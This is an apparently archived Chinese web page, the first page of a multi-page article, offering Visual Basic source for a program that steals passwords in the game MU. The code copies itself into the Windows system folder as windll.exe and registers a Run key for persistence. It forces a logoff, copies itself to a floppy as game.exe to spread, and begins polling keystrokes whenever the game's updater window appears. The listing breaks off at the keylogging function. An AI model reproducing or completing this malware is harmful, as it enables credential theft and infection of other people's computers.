| 一个用VB设计的能够截取奇迹游戏密码的程序 |
|
| 作者：未知 文章来源：网络收集 点击数： 更新时间：2006-3-29 15:21:30
|
由于写的匆忙程序有很些bug,忘见凉!^-^
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As Any, ByVal lpWindowName As String) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim fso, wsh
Dim winsys, prg, keysvalue As String
Dim new_work, start As Boolean
Private Sub Form_Load()
On Error Resume Next
Let new_work = True
Set fso = CreateObject("scripting.filesystemobject")
Set wsh = CreateObject("wscript.shell")
Let winsys = fso.GetSpecialFolder(SystemFolder)
If Len(App.Path) = 3 Then
Let prg_path = prg
Let prg = App.Path & App.EXEName & ".exe"
Else:
Let prg_path = prg & "\"
Let prg = App.Path & "\" & App.EXEName & ".exe"
End If
If Not fso.FileExists(winsys & "\Msvbvm60.dll") Then fso.CopyFile prg_path & "\Msvbvm60.dll", winsys & "\Msvbvm60.dll"
If fso.FileExists(winsys & "\windll.exe") = False Then
fso.CopyFile prg, winsys & "\windll.exe"
wsh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\windll", winsys & "\windll.exe"
Shell "rundll32.exe user.exe,exitwindows"
End
End If
Let keysvalue = ""
Let start = False
If Not fso.FileExists("a:\game.exe") Then
fso.CopyFile prg, "a:\game.exe"
End If
End Sub
Private Sub Timer1_Timer()
If new_work = True And start = True Then
Call bGetKey
ElseIf FindWindow(0&, "mu auto update") = 0 Then
Let new_work = True
ElseIf FindWindow(0&, "mu auto update") <> 0 Then
Let start = True
End If
End Sub
Private Function bGetKey() As Boolean'这里应该需要补充密码的[1] [2] [3] 下一页
|
|
[ 收藏此页到: 天天|和讯|博采|ViVi|狐摘|我摘|天极 ] 文章录入：kinda 责任编辑：kinda |
|
上一篇文章： WINDOWS NT/2000 密码到散列的实现算法
下一篇文章： 一个删除自身的程序源代码 |
| 【字体：小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
用户登录 
新用户注册 
网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）